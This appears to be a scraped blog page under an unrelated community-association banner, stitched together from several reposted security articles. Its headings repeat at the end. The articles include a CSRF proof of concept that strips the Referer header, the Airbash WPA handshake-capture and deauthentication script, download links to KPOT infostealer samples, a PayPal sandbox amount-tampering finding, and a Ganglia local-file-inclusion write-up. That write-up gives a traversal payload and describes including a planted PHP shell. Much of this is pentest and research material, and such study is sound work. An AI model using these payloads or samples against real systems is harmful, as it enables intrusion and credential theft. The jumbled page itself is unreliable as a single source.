Georgia Downtown Association

Tuesday, June 9, 2020

LEGALITY OF ETHICAL HACKING

Why ethical hacking?

Legality of Ehical Hacking

Ethical hacking is legal if the hacker abides by the rules stipulated in above section on the definition of ethical hacking.

Ethical hacking is not legal for black hat hackers.They gain unauthorized access over a computer system or networks for money extortion.

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CSRF Referer Header Strip

Intro

Most of the web applications I see are kinda binary when it comes to CSRF protection; either they have one implemented using CSRF tokens (and more-or-less covering the different functions of the web application) or there is no protection at all. Usually, it is the latter case. However, from time to time I see application checking the Referer HTTP header.

A couple months ago I had to deal with an application that was checking the Referer as a CSRF prevention mechanism, but when this header was stripped from the request, the CSRF PoC worked. BTW it is common practice to accept empty Referer, mainly to avoid breaking functionality.

The OWASP Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet tells us that this defense approach is a baaad omen, but finding a universal and simple solution on the Internetz to strip the Referer header took somewhat more time than I expected, so I decided that the stuff that I found might be useful for others too.

Solutions for Referer header strip

Most of the techniques I have found were way too complicated for my taste. For example, when I start reading a blog post from Egor Homakov to find a solution to a problem, I know that I am going to:

learn something very cool;
have a serious headache from all the new info at the end.

This blog post from him is a bit lighter and covers some useful theoretical background, so make sure you read that first before you continue reading this post. He shows a few nice tricks to strip the Referer, but I was wondering; maybe there is an easier way?

Rich Lundeen (aka WebstersProdigy) made an excellent blog post on stripping the Referer header (again, make sure you read that one first before you continue). The HTTPS to HTTP trick is probably the most well-known one, general and easy enough, but it quickly fails the moment you have an application that only runs over HTTPS (this was my case).

The data method is not browser independent but the about:blank trick works well for some simple requests. Unfortunately, in my case the request I had to attack with CSRF was too complex and I wanted to use XMLHttpRequest. He mentions that in theory, there is anonymous flag for CORS, but he could not get it work. I also tried it, but... it did not work for me either.

Krzysztof Kotowicz also wrote a blog post on Referer strip, coming to similar conclusions as Rich Lundeen, mostly using the data method.

Finally, I bumped into Johannes Ullrich's ISC diary on Referer header and that led to me W3C's Referrer Policy. So just to make a dumb little PoC and show that relying on Referer is a not a good idea, you can simply use the "referrer" meta tag (yes, that is two "r"-s there).

The PoC would look something like this:

<html>
  <meta name="referrer" content="never">
  <body>
    <form action="https://vistimsite.com/function" method="POST">
      <input type="hidden" name="param1" value="1" />
      <input type="hidden" name="param2" value="2" />
      ...
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Conclusion

As you can see, there is quite a lot of ways to strip the Referer HTTP header from the request, so it really should not be considered a good defense against CSRF. My preferred way to make is PoC is with the meta tag, but hey, if you got any better solution for this, use the comment field down there and let me know! :)

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Monday, June 8, 2020

Airba.sh - A POSIX-compliant, Fully Automated WPA PSK Handshake Capture Script Aimed At Penetration Testing

Airbash is a POSIX-compliant, fully automated WPA PSK handshake capture script aimed at penetration testing. It is compatible with Bash and Android Shell (tested on Kali Linux and Cyanogenmod 10.2) and uses aircrack-ng to scan for clients that are currently connected to access points (AP). Those clients are then deauthenticated in order to capture the handshake when attempting to reconnect to the AP. Verification of a captured handshake is done using aircrack-ng. If one or more handshakes are captured, they are entered into an SQLite3 database, along with the time of capture and current GPS data (if properly configured).

After capture, the database can be tested for vulnerable router models using crackdefault.sh. It will search for entries that match the implemented modules, which currently include algorithms to compute default keys for Speedport 500-700 series, Thomson/SpeedTouch and UPC 7 digits (UPC1234567) routers.

Requirements
WiFi interface in monitor mode aircrack-ng SQLite3 openssl for compilation of modules (optional) wlanhc2hcx from hcxtools
In order to log GPS coordinates of handshakes, configure your coordinate logging software to log to .loc/*.txt (the filename can be chosen as desired). Airbash will always use the output of cat "$path$loc"*.txt 2>/dev/null | awk 'NR==0; END{print}', which equals to reading all .txt files in .loc/ and picking the second line. The reason for this way of implementation is the functionality of GPSLogger, which was used on the development device.

Calculating default keys
After capturing a new handshake, the database can be queried for vulnerable router models. If a module applies, the default keys for this router series are calculated and used as input for aircrack-ng to try and recover the passphrase.

Compiling Modules
The modules for calculating Thomson/SpeedTouch and UPC1234567 (7 random digits) default keys are included in src/
Credits for the code go to the authors Kevin Devine and [peter@haxx.in].

On Linux:
gcc -fomit-frame-pointer -O3 -funroll-all-loops -o modules/st modules/stkeys.c -lcrypto
gcc -O2 -o modules/upckeys modules/upc_keys.c -lcrypto

If on Android, you may need to copy the binaries to /system/xbin/ or to another directory where binary execution is allowed.

Usage
Running install.sh will create the database, prepare the folder structure and create shortlinks to both scripts which can be moved to a directory that is on $PATH to allow execution from any location.
After installation, you may need to manually adjust INTERFACE on line 46 in airba.sh. This will later be determined automatically, but for now the default is set to wlan0, to allow out of the box compatibility with bcmon on Android.
./airba.sh starts the script, automatically scanning and attacking targets that are not found in the database. ./crackdefault.sh attempts to break known default key algorithms.
To view the database contents, run sqlite3 .db.sqlite3 "SELECT * FROM hs" in the main directory.

Update (Linux only ... for now):
Airbash can be updated by executing update.sh. This will clone the master branch into /tmp/ and overwrite the local files.

Output
_n: number of access points found
__c/m: represents client number and maximum number of clients found, respectively
-: access point is blacklisted
x: access point already in database
?: access point out of range (not visible to airodump anymore)

The Database
The database contains a table called hs with seven columns.
id: incrementing counter of table entries
lat and lon: GPS coordinates of the handshake (if available)
bssid: MAC address of the access point
essid: Name identifier
psk: WPA Passphrase, if known
prcsd: Flag that gets set by crackdefault.sh to prevent duplicate calculation of default keys if a custom passphrase was used.
Currently, the SQLite3 database is not password-protected.

Download Airbash

KPOT Info Stealer Samples

KPOT Stealer is a "stealer" malware that focuses on stealing account information and other data from various software applications and services

References

1. 2020-04-19 Didier Stevens posted analysis of KPOT infostealer on the Infosec Handlers Diary blog "KPOT Analysis: Obtaining the Decrypted KPOT EXE"

These are samples to follow his analysis routine.

2. 2019-05-09 Proofpoint. New KPOT v2.0 stealer brings zero persistence and in-memory features to silently steal credentials

Download

Other malware

Download. Email me if you need the password (see in my profile)

1. http://contagio.deependresearch.org/crime/kpotstealer_win_samp.zip from Didier Stevens' post
2. http://contagio.deependresearch.org/crime/kpotstealer(proofpoint)_win_samp.zip - Proofpoint

Hashes

1. From Didier Stevens' post

MD5 56ad7b243511ee7398d43df7643dc904
SHA-1 ae5ab7798ca267b1265a0496c562f219821d17cf
SHA-256 3fd4aa339bdfee23684ff495d884aa842165e61af85fd09411abfd64b9780146

2. From Proofpoint

MD5 7d7667ddce8fd69a0fd50bb08c287d10
SHA-1 087fc3e9a082983ee6a2b25f0ccb09eb723e0f39

SHA-256 67f8302a2fd28d15f62d6d20d748bfe350334e5353cbdef112bd1f8231b5599d

MD5 45ddc687f88b45fc3fec79f9dc8b38e2
SHA-1 de37b748e0e32d96c31f469f9ba4ea4f11e3e78b
SHA-256 36dcd40aee6a42b8733ec3390501502824f570a23640c2c78a788805164f77cecontagio.deependresearch.org/crime/kpotstealer(proofpoint)_win_samp.zip

Wafw00F: The Web Application Firewall Fingerprinting Tool

How does wafw00f work?
To do its magic, WAFW00F does the following steps:

Sends a normal HTTP request and analyses the response; this identifies a number of WAF solutions.

If that is not successful, wafw00f sends a number of (potentially malicious) HTTP requests and uses simple logic to deduce which WAF it is.

If that is also not successful, wafw00f analyses the responses previously returned and uses another simple algorithm to guess if a WAF or security solution is actively responding to wafw00f's attacks.

For further details, check out the source code on EnableSecurity's main repository.

What does it detect? WAFW00F can detect a number of firewalls, a list of which is as below:

wafw00f's installation
If you're using Debian-based distro, enter this commands to install wafw00f: sudo apt update && sudo apt install wafw00f

But if you're using another Linux distro, enter these commands to install wafw00f:

How to use wafw00f?
The basic usage is to pass an URL as an argument. Example:

Final Words to you
Questions? Pull up an issue on GitHub Issue Tracker or contact to EnableSecurity.
Pull requests, ideas and issues are highly welcome. If you wish to see how WAFW00F is being developed, check out the development board.

Some useful links:

Documentation/Wiki

Pypi Package Repository

Presently being developed and maintained by:

Sandro Gauci (@SandroGauci)

Pinaki Mondal (@0xInfection)

Download wafw00f

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Hacking PayPal's Express Checkout

Do you know what is happening in the background when you buy something in an online shop using PayPal?

In this post we will tackle the following problems:

How can PayPal's API be tested?
How does PayPal's Express Checkout work? You can find the detailed report here.
How can we debit more money than authorized?

How PayPal's API can be tested?

PayPal's Sandbox API

PayPal offers a feature called PayPal Sandbox Accounts, which mimics the production API. The basic idea is that a normal user/shop can test the API and make transactions without actually transferring money. This is the perfect tool for developers to test their API integration.

Access to all messages

The next question is how to get access to all messages. All browser-related messages can be inspected, intercepted, and modified via BurpSuite. The main problem here is how to get access to the server-to-server exchanged messages: the messages exchanged between PayPal and a shop. In order to solve this problem, we deployed our own shop. For this purpose we used Magento, which already has a PayPal integration.
Once we have our own controlled shop, we can enforce Magento to send all request through a proxy.
In the following picture you can see our setup.

Test suite for analyzing PayPal's API [1]

In order to capture the traffic between our Magento hhop and PayPal we proceeded as follows:

We configured Magento to use a proxy running on localhost:8081.
We connected the proxy port on the virtual machine with our local machine via SSH remote port forwarding by issuing the following command

ssh -N -R 8081: localhost :8081 <IP of Magento shop>

We configured BurpSuite running on our local machine to listen on Port 8081 for incoming requests.

Now, we were able to see the entire traffic.
Please note that we uses our own, custom Magento shop in order to be able to test Paypal's API.

PayPal's Express Checkout

An overview of the checkout procedure is depicted in the following:


PayPal's Express Checkout [2]

Step 1: Magento tells the PayPal API where to redirect the user after authorizing the transaction via the parameter RETURNURL and requests a token for this transaction.
Step 2: The PayPal API provides Magento with the token.
Step 3: Magento redirects the user to PayPal's website. The redirect contains the token from the previous step.
Step 4: The user authorizes the transaction. As a result, he will be redirected back to Magento (RETURNURL) with the token.
Step 5: Magento issues a request to the PayPal API to get the transaction details.

Step 6: Magento signals the PayPal API to execute the transaction.

Step 7: Magento serves the success page.

A more detailed view of the protocol and all parameters is shown on page 16 in the full version. We will concentrate only on step 6 and the parameters relevant for the attack.

The Attack

The goal of the attack is to let a shop (in our case Magento) debit more money than authorized by the PayPal user. The core of the attack is Step 6 -- DoExpressCheckoutPayment. Let's get a deeper look at this message:

Magento can raise the authorized amount and debit more money from the user's account

The shop sends the token, which was issued in the first step of the protocol and identifies uniquely the transaction through all steps.
The PayerID referring to the user that authorized the payment.
The AMT defining the amount, which will be transferred.
The API Credentials authenticating Magento on PayPal.
The Version pointing to the release number of the API.

As one can imagine, the core problem we found was the change of the AMT parameter. This value can be freely chosen by the shop, despite the fact that the user has authorized a different amount.

We tested only the SandBox API, but refused to test the production API in order to avoid problems. We promptly contacted PayPal's security team and described the problem hoping that PayPal can and will test the production API against the attack.

The response of PayPal can be summarized as follows:

We don't get any BugBounty since we only tested the Sanbox API. (Fair enough)
In the Production API PayPal this flexibility is a wanted feature. Thus, PayPal allows a merchant to charge for shipping and/or other expenses different amounts. Any malicious behavior can be detected by PayPal. In case of fraudulent charges the consumer are protected by the Buyer Protection policy.

... but the Sandbox API was nevertheless fixed.

Authors of this Post

Daniel Hirschberger
Vladislav Mladenov
Christian Mainka (@CheariX)

[1] BurpSuite Logo
[2] PayPal Express CheckoutRelated articles

Ganglia Monitoring System LFI

Awhile back when doing a pentest I ran into an interesting web application on a server that was acting as a gateway into a juicy environment *cough*pci*cough*, the application was "Ganglia Monitoring System" http://ganglia.sourceforge.net

The scope of the test was extremely limited and it wasn't looking good....the host that was in scope had a ton of little stuff but nothing that looked like it would give me a solid foothold into the target network. After spending some time looking for obvious ways into the system I figured it would be worth looking at the Ganglia application, especially since I could find no public exploits for the app in the usual places....

First step was to build a lab up on a VM (ubuntu)

apt-get install ganglia-webfrontend

After apt was done doing its thing I went ahead and started poking around in the web front end files (/usr/share/ganglia-webfrontend). I looked to see if the application had any sort of admin functionality that I could abuse or some sort of insecure direct object reference issues. Nothing looked good. I moved on to auditing the php.

Started out with a simple grep looking for php includes that used a variable....bingo.

steponequit@steponequit-desktop:/usr/share/ganglia-webfrontend$ egrep 'include.*\$' *
class.TemplatePower.inc.php: if( isset( $this->tpl_include[ $regs[2] ]) )
class.TemplatePower.inc.php: $tpl_file = $this->tpl_include[ $regs[2] ][0];
class.TemplatePower.inc.php: $type = $this->tpl_include[ $regs[2] ][1];
class.TemplatePower.inc.php: if( isset( $this->tpl_include[ $regs[2] ]) )
class.TemplatePower.inc.php: $include_file = $this->tpl_include[ $regs[2] ][0];
class.TemplatePower.inc.php: $type = $this->tpl_include[ $regs[2] ][1];
class.TemplatePower.inc.php: $include_file = $regs[2];
class.TemplatePower.inc.php: if( !@include_once( $include_file ) )
class.TemplatePower.inc.php: $this->__errorAlert( 'TemplatePower Error: Couldn\'t include script [ '. $include_file .' ]!' );
class.TemplatePower.inc.php: $this->tpl_include["$iblockname"] = Array( $value, $type );
graph.php: include_once($graph_file);

The graph.php line jumped out at me. Looking into the file it was obvious this variable was built from user input :)

$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : NULL;

....

$graph_file = "$graphdir/$graph.php";

Taking at look at the "sanitize" function I can see this shouldn't upset any file include fun

function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}

#-------------------------------------------------------------------------------
# If arg is a valid number, return it. Otherwise, return null.
function clean_number( $value )
{
return is_numeric( $value ) ? $value : null;
}

Going back to the graph.php file

$graph_file = "$graphdir/$graph.php";

if ( is_readable($graph_file) ) {
include_once($graph_file);

$graph_function = "graph_${graph}";
$graph_function($rrdtool_graph); // Pass by reference call, $rrdtool_graph modified inplace
} else {
/* Bad stuff happened. */
error_log("Tried to load graph file [$graph_file], but failed. Invalid graph, aborting.");
exit();
}

We can see here that our $graph value is inserted into the target string $graph_file with a directory on the front and a php extension on the end. The script then checks to make sure it can read the file that has been specified and finally includes it, looks good to me :).

The start of our string is defined in conf.php as "$graphdir='./graph.d'", this poses no issue as we can traverse back to the root of the file system using "../../../../../../../../". The part that does pose some annoyance is that our target file must end with ".php". So on my lab box I put a php file (phpinfo) in "/tmp" and tried including it...

http://localhost/ganglia/graph.php?g=/../../../../../../../../tmp/blah

Win. Not ideal, but it could work....

Going back to the real environment with this it was possible to leverage this seemingly limited vulnerability by putting a file (php shell) on the nfs server that was being used by the target server, this information was gathered from a seemingly low vuln - "public" snmp string. Once the file was placed on nfs it was only a matter of making the include call. All in a hard days work.

I have also briefly looked at the latest version of the Ganglia web front end code and it appears that this vuln still exists (graph.php)

$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
...
...
...
$php_report_file = $conf['graphdir'] . "/" . $graph . ".php";
$json_report_file = $conf['graphdir'] . "/" . $graph . ".json";
if( is_file( $php_report_file ) ) {
include_once $php_report_file;

tl;dr; wrap up - "Ganglia Monitoring System" http://ganglia.sourceforge.net contains a LFI vulnerability in the "graph.php" file. Any local php files can be included by passing its location to the "g" parameter - http://example.com/ganglia/graph.php?g=../../../../../../../tmp/shell

Georgia Downtown Association

Tuesday, June 9, 2020

LEGALITY OF ETHICAL HACKING

CSRF Referer Header Strip

Intro

Solutions for Referer header strip

Conclusion

Related word

Monday, June 8, 2020

Airba.sh - A POSIX-compliant, Fully Automated WPA PSK Handshake Capture Script Aimed At Penetration Testing

Related news

KPOT Info Stealer Samples

Related posts

Wafw00F: The Web Application Firewall Fingerprinting Tool

Related word

Hacking PayPal's Express Checkout

How PayPal's API can be tested?

PayPal's Sandbox API

Access to all messages

PayPal's Express Checkout

The Attack

Authors of this Post

Ganglia Monitoring System LFI

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